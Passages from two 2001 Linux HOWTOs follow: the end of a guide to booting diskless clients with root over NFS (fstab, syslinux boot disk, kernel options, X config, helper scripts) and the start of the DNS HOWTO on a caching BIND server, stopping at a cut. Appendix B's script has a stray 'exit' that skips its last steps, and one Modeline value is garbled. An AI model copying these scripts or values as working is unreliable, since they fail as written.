  3. Initialise a loopback device using the swap file. The command is losetup /dev/loop0 /var/swap.
  4. Mount the loopback device with the command mount /dev/loop0 swap.
You have to initialise a swap partition at the very beginning of the boot process. So place commands 2-4 somewhere near to the top of the startup script. The first command is very time consuming,especially in the case of a loaded network so just copy a swap file in the base system and do not delete it when you create directories for each host.

Modifying /etc/fstab

The /etc/fstabfile contains entries for automounting file systems at boot. In our case, we have to place the following lines at the end of it:

server_IP:/usr/local/linux/base/usr /usr nfs nfsvers=3,wsize=2048,tcp 0  0
server_IP:/usr/local/linux/base/opt /opt nfs nfsvers=3,wsize=2048,tcp 0  0
server_IP:/usr/local/linux/base/lib/modules /lib/modules nfs nfsvers=3 wsize=2048,tcp 0  0
fileserver_IP:/home /home nfs nfsvers=3,wsize=2048,tcp 0  0

Also, do not forget to comment out lines that mount local partitions. Save this file as /etc/fstab.new because it should not be activated yet, as long as we have to boot the base system first.

Copying password files

You must provide the system with to files to let the users perform a login. To do this just copy the files /etc/passwd and /etc/shadow from your file server to the base system. Notice that you have to do it every time you add a user to the system, or a user changes his/her password, so can best be done by creating a cron job.

3.3 Booting the base system

To boot the base system we have to create a boot disk first. Go to the next section and create a boot disk as recommended. Please, change the 'append' line to this one:

append init=/sbin/init root=/dev/nfs
                ip=X:Y:195.251.160.254:255.255.255.0:::'off'
                nfsroot=Y:/usr/local/linux/base vga=0x318

(Of course, in a sigle line)
where X stands for an unused IP address in your network and Y for the IP address of the NFS server. Of course, you have to export the /usr/local/linux/base directory from the NFS server with the rw,no_root_squash options. Now boot the base system. Everything should work OK, but I don' t think that there is a possibility that you succeeded from the first boot! There are many obscure points, that you have forgotten to edit or I have forgotten to mention.

This is the standard method to boot the base system and to add programms or a new kernel to your installation. So backup the files you have edited as well as the boot disk image.

After succeeding to boot the system, you are in a complete linux enviroment. Login as root and enjoy a first ride in your newly created system! Now comes the hard time... You have to disable some services that startup automatically and remove some programms not needed by the users.

3.4 Configuring the system

Nearly all distributions start these services:

  • inetd, the Internet superdeamon responsible for starting other deamons like telnet, ftp etc.
  • syslogd, the logging deamon. Not needed on a diskless client not needed because all the modifications are done to files easyly replacable.
  • httpd, the apache webserver. Not needed for obvious reasons.
  • dhcpclient. Needed for automatic aquisition of an IP address. At out case, this is done by the kernel.
  • lpd, the line printer deamon. This is needed only when you have a printer connected to a host. In most cases, this is not needed.
Also, according to your installation, there may be started sshd, nscd, cupsd and other network services not needed on clients. To disable these services, remove their entries from the runtime directory under /etc/rc.d/X. There is a more elegant way to do this under SuSE or RedHat, using Yast or Linuxconfig. For Yast, go to System administration ---> Change configuration file and using search locate the entries for every service you want to stop.

Then, uninstall all these services from the base system. The only service that seems reasonable to me to be left running is the NameServer caching deamon, which is able to reduce network traffic a lot.

Now, you have to edit some files:

  • /etc/resolv.conf Used to provide a nameserver. Add these entries: nameserver xxx.xxx.xxx.xxx and domain xxxxx , replacing x with the correct values.
  • /etc/hosts Used to match IP addresses to host names localy. Provide the basic servers' names of your network.
  • /etc/nntpserver Used to provide a news server. Just append the nameserver 's hostname.
  • /etc/fstab Restore the fstab.new file we have created earlier.

Configuring the language

Perhaps, you do not leave in the US or the UK, like me, so you have to configure the language. This is simply done through the .profile file. Just add the following: export LANG="X"where X is your natural language. Then, download a console font which supports your codepage and set, with the help of Yast, the keyboard keymap. Copy .profile to /etc/skel of the file server or to all the users' home directories.

The X window system

If you want to provide a working X enviroment for clients with different graphics hardware, you have to use the XFBDev server. If you followed the instructions on howto create a boot disk, you would now be in framebufer mode at 1024x768@16M colors, which is sufficient for use with X windows. Now, you have to configure the X server to load the framebuffer driver. SuSE provides an exellent tool for configuring X wherher it might be version 3 or 4. It is called sax for X 3.3.x and sax2 for X 4.x. To use XFBDev driver start sax with the -s XF86_FBDev option and configure the server according to your hardware. In case you do not use SuSE, most of the work must be done by hand. Create a basic /etc/X11/XF86Config file using xf86config4. Please choose entries that are as much as possible closer to your needs. Then edit the /etc/X11/XF86Config. This file is devided into sections that start with the keyword 'Section' and end with 'EndSection'. Do the following modifications:

  • Section "Files": Add the path to the direcory where you 've put your fonts.
  • Section "Module": Load the GLX module if you want REALLY SLOW Open GL graphics (Load glx)!
  • Section "InputDevice, Driver="mouse"": Add the following lines if you want to use a wheel mouse:
                    Option        "Buttons"       "5"
                Option        "ZAxisMapping"  "4 5"
  • Section "Device": Replace everything with the following:
                    BoardName     "AutoDetected"
                Driver        "fb"
                Identifier    "Device[0]"
                VendorName    "AutoDetected
  • Section "Modes": Replace everything with the following:
                    Identifier    "Modes[0]"
                Modeline        "1024x768" 71.39 1024 1040 1216 1 400 768 768 776 802
  • Section "Screen": Replace everything with the following
                    DefaultDepth  16
                SubSection "Display"
                        Depth       16
                        Modes       "1024x768"
                EndSubSection
                        Device        "Device[0]"
                        Identifier    "Screen[0]"
                        Monitor       "Monitor[0]"
  • Section "ServerLayout": Replace everything with the following:
                    Identifier    "Layout[all]"
                InputDevice   "Keyboard[0]"   "CoreKeyboard"
                InputDevice   "Mouse[1]"      "CorePointer"
                Screen        "Screen[0]"
    and then replace the first argument of the InputDevice directives with the identifiers which can be found earlier in the file.
I thing that it should be a working configuration for framebuffer systems. For further reference take a look at the XF86Config and the xf86cfg4 man pages. You will find a working XF86Config file at Appendix C.

Configuring network access for KDE2

KDE is the most extensible, configurable and internet enabled window manager available, even if we count some commercial ones that are proud of it! To download KDE, ftp to ftp.kde.org and get the rpms for your distribution. There, you can also find vanilla sources and other related projects.

The main configuration to KDE is done through the K Control Center. There you can find options for configuring the fonts, colors, backgrounds etc. The most important thing you can configure is the LAN browsing deamon that KDE incorporates, lisa. There is also a readme file under \$KDE2ROOT/share/apps/lisa. After you configure lisa, you have to make it (or her?) start in the background every time the computer is started. Find the lisa 's configuration file under /root. Copy it under /etc. Aftewards, place the command lisa -c /etc/lisa.conf at the /etc/rc.d/boot.local file, or the similar for your installation. Now tell me, which is easiest to search a network Windows or Linux?

If your users are coming from the Windows world, they are familiar to find programms at the damned 'Start' menu. To make their transition easy, edit the KDE menu with the Menu Editor programm and add or remove applications there. Then, copy the .kde2 directory from you directory to the /etc/skel directory of your file server. Every new account you create will have access to the menu (and the settings) you have created.


Root over NFS - Another Approach: Preparing the boot disk

 Next Previous Contents

4. Preparing the boot disk

To prepare a boot disk we just want a kernel, syslinux and a 1,44MB diskette. Syslinux is tiny boot loader, designed specifically to boot a kernel and pass some arguments through its command line using a diskette. As we will see it very easy to configure, too.

4.1 Building a kernel

Always choose the newest kernel to build. As of this time of writing (Wed Sep 12 17:28:22 2001) the newest kernel is 2.4.9. Building an older kernel can only save you time updating the nesessary programms. Also, be sure you have the program versions described in /usr/src/linux/Documentation/Changes. It is a good idea to compile the kernel using the base system to be served. The kernel can be build according to your needs of drivers, but it must contain the following options:

  • Build in support for the cient 's network card (Network device support ---> Select your card driver).
  • Build in support for the BOOTP protocol (Networking options ---> IP: kernel level autoconfiguration ---> IP: BOOTP support).
  • Build in support for NFS and root over NFS (File systems ---> Network File Systems ---> NFS file system support and File systems ---> Network File Systems ---> NFS file system support ---> Root over NFS).
  • Build in support for loopback devices (Block devices ---> Loopback device support).
Do not forget to compile in the VESA framebuffer driver. Then go on with the familiar kernel compilation routine. Unless you have build the kernel using the base system, copy all the modules created to the base/lib/modules directory of the exported directory structure. The new kernel resides at /usr/src/linux/arch/i386/boot.

You also have to set the root device to your kernel. You have to use the rdev programm. Execute the following commands:

mknod /dev/boot255 c 0 255
rdev /path/to/kernel/file /dev/boot255

4.2 Creating the boot disk

Now, we have to use the syslinux programm. Insert a disk into the first floppy drive and run:

syslinux -s /dev/fd0

Mount the floppy and notice that syslinux has written 2 files: syslinux.cfg and ldlinux.sys. The second is the boot loader executable. The syslinux.cfg is the programm configuration file. A typical structure for that file is the following:

default linux
   append init=/sbin/init root=/dev/nfs
        ip=:195.251.160.10:195.251.160.254:255.255.255.0:::'bootp'
        nfsroot=195.251.160.10:/usr/local/linux/ws/\%s vga=0x318

   prompt 1
   timeout 30
   readinfo 2

The default statment is the kernel name to be booted and the append is the command line to be passed to the kernel. Now, you have to copy the kernel you have created to the floppy and rename it to 'linux'.

4.3 The kernel command line

To boot a diskless client, its kernel must have the following command line options:

  • init=/sbin/init: If your init programm is elsewhere just change the path.
  • root=/dev/nfs: An alias to say the kernel that it has to mount its root directory over nfs
  • ip: This command line option tells the kernel how to get it's IP address and which is the NFS server's address
  • nfsroot: Tells the kernel to mount this directory as its root. The % is an alias to the host 's IP address.
  • vga: If you want to be able to start X windows in framebuffer mode, switch to a framebuffer mode. The one given stands for 1024x768@16M colors.

All these options are discussed in detail in /usr/src/linux/Documentation/nfsroot.txt. Read it and adjust the given command line to your needs.

Now you have created the boot disk you are ready to test the system you have build. Start the NFS and BOOTP services and boot a client with the boot disk. No one has been able to do it from the first time. So go on to the next section!


Root over NFS - Another Approach: The magic time

 Next Previous Contents

5. The magic time

In this section will be discused all the problems that you have and the changes that you propose to the installation. Please feel free to email me and ask about any difficult or not mentioned points in this document. My email is cs98011@icsd.aegean.gr

Q: A DHCP is already running. How do I configure BOOTP, so as no interaction is made with the DHCP?

A: This was the main problem I faced when I installed the system on a running network. DHCP and BOOTP use the same port. When a windows client boots, it issues a DHCP/BOOTP request to locate its IP (of course in case of dynamic IP). When the DHCP server responds, it also returns the IP's of DNS servers, print servers and Domain Controlers. My BOOTP server was responding faster than the Microsoft DHCP server, an so Windows clients were unable to locate their Domain controler. This resulted to users not being able to login! The solution described here was donated by D. Spinellis.

Open the /usr/src/linux/net/ipv4 file. This is were all BOOTP autoconfiguration is done. Search for udph.source,udph.dest variables. You will see that they are set to the standard 67/68 request/responce ports. Change BOTH values so they use an unused UDP port in your network. A good port pair that no application uses it is 967/968. Now, start your DHCPd with the -p 967 option. Everything must be working OK!


Root over NFS - Another Approach: Other Stuff

 Next Previous Contents

6. Other Stuff

6.1 Contributors

  • Diomidis Spinellis: Structure and typographical corrections, the DHCP/BOOTP conflict resolution.

6.2 Copyrights

This document is GNU copylefted by Georgios Gousios.

It is covered by the GNU documentation licence.

Permission to use, copy, distribute this document for any purpose is hereby granted, provided that the author's / editor's name and this notice appear in all copies and/or supporting documents; and that an unmodified version of this document is made freely available. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author / editor / maintainer assumes NO RESPONSIBILITY for any errors, or for any damages, direct or consequential, as a result of the use of the information documented herein

6.3 Contacting the author

The author may be contacted via e-mail. For any change, question, error that must be corrected please feel free to contact me. For every contribution you make for this document, your name will be mentioned in the contributors section.

6.4 Changelog

  • v0.8, Thu May 24 17:37:13 2001 : First draft written.
  • v1.0, Fri May 25 01:36:25 2001 : The first version is complete (in HTML).
  • v1.05, Thu Jul 19 19:09:58 2001: Structure and typos corrections. Also, tranfered to LaTeX.
  • v1.1, Wed Sep 12 18:23:29 2001: Transfered to LinuxDoc SGML, donated to the LDP.


Root over NFS - Another Approach: Appendix

 Next Previous Contents

7. Appendix

7.1 Appendix A - A script for creating host directories

#!/usr/bin/bash
#This is a script for creating host directories using the
#directory scheme illustrated before in this document.
#It is written on Solaris and I did not test it on Linux.
#Execute it at the ws directory.
#Needs as input a file containing space separeted IP
#addresses named addr, for example bash# ./script addr
#This file must be like this: 195.251.160.10 195.251.160.11 195.251.160.13 ....

echo "Creating the tar archive"; echo

cd base
tar cpf linux.tar ./bin ./dev ./etc ./lib ./sbin ./var
mv linux.tar /usr/local/linux/ws/linux.tar
cd ..

echo "Creating host directories"; echo

for addr in $(cat addr)
do
        echo "Working on host $addr"
        mkdir $addr
        cd $addr
        echo "   ---Creating nessesary directores"
        mkdir boot
        mkdir cdrom
        mkdir floppy
        mkdir home
        mkdir mnt
        mkdir opt
        mkdir proc
        mkdir root
        mkdir tmp
        mkdir usr
        echo "   ---Extracting tar archive"

        ln -s ../linux.tar ./linux.tar
        tar xf linux.tar
        rm linux.tar

        echo "   ---Removing unnessesary files"
        rm -R ./lib/modules/*
        rm -R ./var/yp
        rm -R ./var/X11R6/sax
        rm -R ./var/tmp
        rm -R ./var/state/dhcp
        rm -R ./var/squid
        rm -R ./var/run/*
        rm -R ./var/opt
        rm -R ./var/named
        rm -R ./var/mysql
        rm -R ./var/lib/amanda
        rm -R ./var/lib/codadmin
        rm -R ./var/lib/firewall
        rm -R ./var/lib/apsfilter
        rm -R ./var/lib/gdm
        rm -R ./var/lib/misc
        rm -R ./var/lib/nobody
        rm -R ./var/lib/pcmcia
        rm -R ./var/lib/pgsql
        rm -R ./var/lib/rpm/*
        rm -R ./var/lib/setup
        rm -R ./var/lib/wvdial
        rm -R ./var/lib/wwwrun
        rm -R ./var/lib/xdm
        rm -R ./var/lib/xkb
        rm -R ./var/lib/YaST/*
        rm -R ./var/lib/zope
        rm -R ./var/log/*
        rm -R ./var/cache/*
        rm -R ./var/games
        rm -R ./var/adm/*

        echo "   ---Deciding the hostname"
        nslookup $addr |sed -n "s/^Name: *//p" >etc/HOSTNAME
        cd ..
        i=$(($i+1))
        echo

done
echo "Removing the tar archive"
rm linux.tar
echo
exit  0

7.2 Appendix B - A script to create the dhcpd.conf file using arpwatch

#!/bin/bash
#A script that starts arpwatch, pings a range of addresses and creates an
#/etc/dhcpd.conf file from the output of arpwatch.
#The arp.dat2dhcpd.conf programm is described later.
#Do not forget to edit the i variable and the while statement to specify
#the range of the addresses you want to ping

i=128;

echo "Starting arpwatch";echo
arpwatch

while [ "$i" -lt 253 ]
do
        addr=195.251.160.$i
        echo "Now pinging $addr"
        ping -c 5 $addr >/dev/null
        i=$(($i+1))
done
echo
exit
killproc arpwatch
echo "Creating /etc/dhcpd.conf"
cat /var/lib/arpwatch/arp.dat |arp.dat2dhcpd.conf >/etc/dhcpd.conf

The arp.dat2dhcpd.conf script

#!/usr/bin/perl -n
($ether, $ip,$stup1,$name) = split;
if ($name eq "") {
print "
host host$i {
        hardware ethernet $ether;
        fixed-address $ip;
}
";
$i++;}
else{
        print "
host $name {
        hardware ethernet $ether;
        fixed-address $ip;
}
"}

7.3 Appendix C - A sample XF86Config file

#This file should let X 4.0.1 work in 1024x768@16M colors
#with the fbdev driver using the linux's framebuffer
Section "Files"
  RgbPath       "/usr/X11R6/lib/X11/rgb"
  FontPath      "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"
  FontPath      "/usr/X11R6/lib/X11/fonts/local"
  FontPath      "/usr/X11R6/lib/X11/fonts/misc:unscaled"
  FontPath      "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"
  FontPath      "/usr/X11R6/lib/X11/fonts/Type1"
  FontPath      "/usr/X11R6/lib/X11/fonts/URW"
  FontPath      "/usr/X11R6/lib/X11/fonts/Speedo"
  FontPath      "/usr/X11R6/lib/X11/fonts/misc"
  FontPath      "/usr/X11R6/lib/X11/fonts/75dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/100dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/PEX"
  FontPath      "/usr/X11R6/lib/X11/fonts/cyrillic"
  FontPath      "/usr/X11R6/lib/X11/fonts/latin2/misc"
  FontPath      "/usr/X11R6/lib/X11/fonts/latin2/75dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/latin2/100dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/latin7/75dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/kwintv"
  FontPath      "/usr/X11R6/lib/X11/fonts/truetype"
  FontPath      "/usr/X11R6/lib/X11/fonts/uni"
  FontPath      "/usr/X11R6/lib/X11/fonts/ucs/misc"
  FontPath      "/usr/X11R6/lib/X11/fonts/ucs/75dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/ucs/100dpi"
  FontPath      "/usr/X11R6/lib/X11/fonts/xtest"
EndSection

Section "ServerFlags"
  AllowMouseOpenFail
EndSection

Section "Module"
EndSection

# This section is no longer supported
# See a template below
# Section "XInput"
# EndSection

Section "Keyboard"
  Protocol      "Standard"
  XkbRules      "xfree86"
  XkbModel      "microsoft"
  XkbLayout     "us"
EndSection

Section "Pointer"
  Protocol              "PS/2"
  Device                "/dev/psaux"
  SampleRate            60
  BaudRate              1200
  Buttons               5
EndSection

Section "Monitor"
  Identifier    "Primary-Monitor"
  VendorName    "Unknown"
  ModelName     "Unknown"
  HorizSync     29-64
  VertRefresh   47-90
  Modeline "1400x1050" 59.93 1400 1416 1704 1816 1050 1050 1055 1097
  Modeline "1280x960" 59.90 1280 1296 1552 1664 960 960 965 1003
  Modeline "1600x1000" 59.90 1600 1616 1968 2080 1000 1000 1004 1044
  Modeline "1024x864" 59.89 1024 1040 1216 1328 864 864 870 902
  Modeline "800x600" 58.55 800 816 928 1040 600 600 608 626
  Modeline "1152x864" 59.99 1152 1168 1384 1496 864 864 870 902
  Modeline "1280x1024" 59.90 1280 1296 1552 1664 1024 1024 1029 1070
  Modeline "640x480" 37.44 640 656 720 832 480 480 486 501
  Modeline "1024x768" 59.89 1024 1040 1216 1328 768 768 774 802
  Modeline "1600x1200" 59.90 1600 1616 1968 2080 1200 1200 1204 1253
EndSection

Section "Device"
  Identifier    "Primary-Card"
  VendorName    "---AUTO DETECTED---"
  BoardName     "---AUTO DETECTED---"
EndSection

Section "Screen"
  Driver        "fbdev"
  Device        "Primary-Card"
  Monitor       "Primary-Monitor"
  DefaultColorDepth     16
  SubSection "Display"
    Depth       32
    Modes       "default"
  EndSubSection
  SubSection "Display"
    Depth       24
    Modes       "default"
  EndSubSection
  SubSection "Display"
    Depth       16
    Modes       "default"
    Virtual     1024 768
  EndSubSection
  SubSection "Display"
    Depth       8
    Modes       "default"
  EndSubSection
EndSection

Section "Screen"
  Driver        "fbdev"
  Device        "Primary-Card"
  Monitor       "Primary-Monitor"
  DefaultColorDepth     16
  SubSection "Display"
    Depth       32
    Modes       "default"
  EndSubSection
  SubSection "Display"
    Depth       24
    Modes       "default"
  EndSubSection
  SubSection "Display"
    Depth       16
    Modes       "default"
    Virtual     1024 768
  EndSubSection
  SubSection "Display"
    Depth       8
    Modes       "default"
  EndSubSection
EndSection


DNS HOWTO

Nicolai Langfeldt (dns-howto(at)langfeldt.net), Jamie Norrish and others

v9.0, 2001-12-20

HOWTO become a totally small time DNS admin.

1. Preamble

  • 1.1 Legal stuff
  • 1.2 Credits and request for help.
  • 1.3 Dedication
  • 1.4 Updated versions

2. Introduction.

  • 2.1 Other nameserver implementations.

3. A resolving, caching name server.

  • 3.1 Starting named
  • 3.2 Resolvers
  • 3.3 Congratulations

4. Forwarding

5. A simple domain.

  • 5.1 But first some dry theory
  • 5.2 Our own domain
  • 5.3 The reverse zone
  • 5.4 Words of caution
  • 5.5 Why reverse lookups don't work.
  • 5.6 Slave servers

6. Basic security options.

  • 6.1 Restricting zone transfers
  • 6.2 Protecting against spoofing
  • 6.3 Running named as non-root

7. A real domain example

  • 7.1 /etc/named.conf (or /var/named/named.conf)
  • 7.2 /var/named/root.hints
  • 7.3 /var/named/zone/127.0.0
  • 7.4 /var/named/zone/land-5.com
  • 7.5 /var/named/zone/206.6.177

8. Maintenance

9. Migrating to BIND 9

10. Questions and Answers

11. How to become a bigger time DNS admin.


DNS HOWTO : Preamble

 Next Previous Contents

1. Preamble

Keywords: DNS, BIND, BIND 4, BIND 8, BIND 9, named, dialup, PPP, slip, ISDN, Internet, domain, name, resolution, hosts, caching.

This document is part of the Linux Documentation Project.

1.1 Legal stuff

(C)opyright 1995-2001 Nicolai Langfeldt, Jamie Norrish & Co. Do not modify without amending copyright, distribute freely but retain copyright message.

1.2 Credits and request for help.

I want to thank all the people that I have bothered with reading this HOWTO (you know who you are) and all the readers that have e-mailed suggestions and notes.

This will never be a finished document; please send me mail about your problems and successes. You can help make this a better HOWTO. So please send comments and/or questions or money to janl(at)langfeldt.net. Or buy my DNS book (it's titled "The Concise Guide to DNS and BIND, the bibliography has ISBNs). If you send e-mail and want an answer please show the simple courtesy of making sure that the return address is correct and working. Also, please read the qanda section before mailing me. Another thing, I can only understand Norwegian and English.

This is a HOWTO. I have maintained it as part of the LDP since 1995. I have, during 2000, written a book on the same subject. I want to say that, though this HOWTO is in many ways much like the book it is not a watered down version concocted to market the book. The readers of this HOWTO have helped me understand what is difficult to understand about DNS. This has helped the book, but the book has also helped me to think more about what this HOWTO needs. The HOWTO begot the book. The book begot version 3 of this HOWTO. My thanks to the book publisher, Que, that took a chance on me :-)

1.3 Dedication

This HOWTO is dedicated to Anne Line Norheim Langfeldt. Though she will probably never read it since she's not that kind of girl.

1.4 Updated versions

You should be able to find updated versions of this HOWTO both at http://langfeldt.net/DNS-HOWTO/ and on http://www.linuxdoc.org/. Go there if this document is dated more than 9 months ago.


DNS HOWTO : Introduction.

 Next Previous Contents

2. Introduction.

What this is and isn't.

DNS is the Domain Name System. DNS converts machine names to the IP addresses that all machines on the net have. It translates (or "maps" as the jargon would have it) from name to address and from address to name, and some other things. This HOWTO documents how to define such mappings using Unix system, with a few things specific to Linux.

A mapping is simply an association between two things, in this case a machine name, like ftp.linux.org, and the machine's IP number (or address) 199.249.150.4. DNS also contains mappings the other way, from the IP number to the machine name; this is called a "reverse mapping".

DNS is, to the uninitiated (you ;-), one of the more opaque areas of network administration. Fortunately DNS isn't really that hard. This HOWTO will try to make a few things clearer. It describes how to set up a simple DNS name server, starting with a caching only server and going on to setting up a primary DNS server for a domain. For more complex setups you can check the qanda section of this document. If it's not described there you will need to read the Real Documentation. I'll get back to what this Real Documentation consists of in the last chapter.

Before you start on this you should configure your machine so that you can telnet in and out of it, and successfully make all kinds of connections to the net, and you should especially be able to do telnet 127.0.0.1 and get your own machine (test it now!). You also need good /etc/nsswitch.conf, /etc/resolv.conf and /etc/hosts files as a starting point, since I will not explain their function here. If you don't already have all this set up and working the Networking-HOWTO and/or the Networking-Overview-HOWTO explains how to set it up. Read them.

When I say `your machine' I mean the machine you are trying to set up DNS on, not any other machine you might have that's involved in your networking effort.

I assume you're not behind any kind of firewall that blocks name queries. If you are you will need a special configuration --- see the section on qanda.

Name serving on Unix is done by a program called named. This is a part of the ``BIND'' package which is coordinated by The Internet Software Consortium. Named is included in most Linux distributions and is usually installed as /usr/sbin/named, usually from a package called BIND, in upper or lower case depending on the whim of the packager.

If you have a named you can probably use it; if you don't have one you can get a binary off a Linux ftp site, or get the latest and greatest source from ftp://ftp.isc.org/isc/bind9/. This HOWTO is about BIND version 9. The old versions of the HOWTO, about BIND 4 and 8, is still available at http://langfeldt.net/DNS-HOWTO/ in case you use BIND 4 or 8 (incidentally, you will find this HOWTO there too). If the named man page talks about (at the very end, in the FILES section) named.conf you have BIND 8; if it talks about named.boot you have BIND 4. If you have 4 and are security conscious you really ought to upgrade to the latest version of BIND 8. Now.

DNS is a net-wide database. Take care about what you put into it. If you put junk into it, you, and others, will get junk out of it. Keep your DNS tidy and consistent and you will get good service from it. Learn to use it, admin it, debug it and you will be another good admin keeping the net from falling to its knees by mismanagement.

Tip: Make backup copies of all the files I instruct you to change if you already have them, so that if after going through this nothing works you can get it back to your old, working state.

2.1 Other nameserver implementations.

This section was written by Joost van Baal.

Various packages exist for getting a DNS server on your box. There is the BIND package ( http://www.isc.org/products/BIND/); the implementation this HOWTO is about. It's the most popular nameserver around and it's used on the vast majority of name serving machines on the Internet, around and being deployed since the 1980's. It's available under a BSD license. Since it's the most popular package, loads of documentation and knowledge about BIND is around. However, there have been security problems with BIND.

Then there is djbdns ( http://djbdns.org/), a relatively new DNS package written by Daniel J. Bernstein, who also wrote qmail. It's a very modular suite: various small programs take care of the different jobs a nameserver is supposed to handle. It's designed with security in mind. It uses a simpler zone-file format, and is generally easier to configure. However, since it's less well known, your local guru might not be able to help you with this. Unfortunately, this software is not Open Source. The author's advertisement is on http://cr.yp.to/djbdns/ad.html.

Whether DJBs software is really an improvement over the older alternatives is a subject of much debate. A discussion (or is it a flame-war?) of BIND vs djbdns, joined by ISC people, is on http://www.isc.org/ml-archives/bind-users/2000/08/msg01075.html


DNS HOWTO : A resolving, caching name server.

 Next Previous Contents

3. A resolving, caching name server.

A first stab at DNS config, very useful for dialup, cable-modem, ADSL and similar users.

On Red Hat and Red Hat related distributions you can achieve the same practical result as this HOWTO's first section by installing the packages bind, bind-utils and caching-nameserver. If you use Debian simply install bind (or bind9, as of this writing, BIND 9 is not supported by Debian Stable (potato)) and bind-doc. Of course just installing those packages won't teach you as much as reading this HOWTO. So install the packages, and then read along verifying the files they installed.

A caching only name server will find the answer to name queries and remember the answer the next time you need it. This will shorten the waiting time the next time significantly, especially if you're on a slow connection.

First you need a file called /etc/named.conf (Debian: /etc/bind/named.conf). This is read when named starts. For now it should simply contain:

// Config file for caching only name server
//
// The version of the HOWTO you read may contain leading spaces
// (spaces in front of the characters on these lines ) in this and
// other files.  You must remove them for things to work.
//
// Note that the filenames and directory names may differ, the
// ultimate contents of should be quite similar though.

options {
        directory "/var/named";

        // Uncommenting this might help if you have to go through a
        // firewall and things are not working out.  But you probably
        // need to talk to your firewall admin.

        // query-source port 53;
};

controls {
        inet 127.0.0.1 allow { localhost; } keys { rndc_key; };
};

key "rndc_key" {
        algorithm hmac-md5;
        secret "c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K";
};

zone "." {
        type hint;
        file "root.hints";
};

zone "0.0.127.in-addr.arpa" {
        type master;
        file "pz/127.0.0";
};

The Linux distribution packages may use different file names for each kind of file mentioned here; they will still contain about the same things.

The `directory' line tells named where to look for files. All files named subsequently will be relative to this. Thus pz is a directory under /var/named, i.e., /var/named/pz. /var/named is the right directory according to the Linux File system Standard.

The file named /var/named/root.hints is named in this. /var/named/root.hints should contain this:

;
; There might be opening comments here if you already have this file.
; If not don't worry.
;
; About any leading spaces in front of the lines here: remove them!
; Lines should start in a ;, . or character, not blanks.
;
.                       6D  IN      NS      A.ROOT-SERVERS.NET.
.                       6D  IN      NS      B.ROOT-SERVERS.NET.
.                       6D  IN      NS      C.ROOT-SERVERS.NET.
.                       6D  IN      NS      D.ROOT-SERVERS.NET.
.                       6D  IN      NS      E.ROOT-SERVERS.NET.
.                       6D  IN      NS      F.ROOT-SERVERS.NET.
.                       6D  IN      NS      G.ROOT-SERVERS.NET.
.                       6D  IN      NS      H.ROOT-SERVERS.NET.
.                       6D  IN      NS      I.ROOT-SERVERS.NET.
.                       6D  IN      NS      J.ROOT-SERVERS.NET.
.                       6D  IN      NS      K.ROOT-SERVERS.NET.
.                       6D  IN      NS      L.ROOT-SERVERS.NET.
.                       6D  IN      NS      M.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.     6D  IN      A       198.41.0.4
B.ROOT-SERVERS.NET.     6D  IN      A       128.9.0.107
C.ROOT-SERVERS.NET.     6D  IN      A       192.33.4.12
D.ROOT-SERVERS.NET.     6D  IN      A       128.8.10.90
E.ROOT-SERVERS.NET.     6D  IN      A       192.203.230.10
F.ROOT-SERVERS.NET.     6D  IN      A       192.5.5.241
G.ROOT-SERVERS.NET.     6D  IN      A       192.112.36.4
H.ROOT-SERVERS.NET.     6D  IN      A       128.63.2.53
I.ROOT-SERVERS.NET.     6D  IN      A       192.36.148.17
J.ROOT-SERVERS.NET.     6D  IN      A       198.41.0.10
K.ROOT-SERVERS.NET.     6D  IN      A       193.0.14.129
L.ROOT-SERVERS.NET.     6D  IN      A       198.32.64.12
M.ROOT-SERVERS.NET.     6D  IN      A       202.12.27.33

The file describes the root name servers in the world. The servers change over time and must be maintained now and then. See the maintenance section for how to keep it up to date.

The next section in named.conf is the last zone. I will explain its use in a later chapter; for now just make this a file named 127.0.0 in the subdirectory pz: (Again, please remove leading spaces if you cut and paste this)

$TTL 3D
@               IN      SOA     ns.linux.bogus. hostmaster.linux.bogus. (
                                1       ; Serial
                                8H      ; Refresh
                                2H      ; Retry
                                4W      ; Expire
                                1D)     ; Minimum TTL
                        NS      ns.linux.bogus.
1                       PTR     localhost.

The sections called key and controls together specify that your named can be remotely controlled by a program called rndc if it connects from the local host, and identifis itself with the encoded secret key. This key is like a password. For rndc to work you need /etc/rndc.conf to match this:

key rndc_key {
    algorithm "hmac-md5";
    secret "c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K";
};

options {
    default-server localhost;
    default-key    rndc_key;
};

As you see the secret is identical. If you want to use rndc from other machines their times need to be within 5 minutes of eachother. I recommend using the ntp (xntpd and ntpdate) software to do this.

Next, you need a /etc/resolv.conf looking something like this: (Again: Remove spaces!)

search subdomain.your-domain.edu your-domain.edu
nameserver 127.0.0.1

The `search' line specifies what domains should be searched for any host names you want to connect to. The `nameserver' line specifies the address of your nameserver, in this case your own machine since that is where your named runs (127.0.0.1 is right, no matter if your machine has another address too). If you want to list several name servers put in one `nameserver' line for each. (Note: Named never reads this file, the resolver that uses named does. Note 2: In some resolv.conf files you find a line saying "domain". That's fine, but don't use both "search" and "domain", only one of them will work).

To illustrate what this file does: If a client tries to look up foo, then foo.subdomain.your-domain.edu is tried first, then foo.your-domain.edu, and finally foo. You may not want to put in too many domains in the search line, as it takes time to search them all.

The example assumes you belong in the domain subdomain.your-domain.edu; your machine, then, is probably called your-machine.subdomain.your-domain.edu. The search line should not contain your TLD (Top Level Domain, `edu' in this case). If you frequently need to connect to hosts in another domain you can add that domain to the search line like this: (Remember to remove the leading spaces, if any)

search subdomain.your-domain.edu your-domain.edu other-domain.com

and so on. Obviously you need to put real domain names in instead. Please note the lack of periods at the end of the domain names. This is important; please note the lack of periods at the end of the domain names.

3.1 Starting named

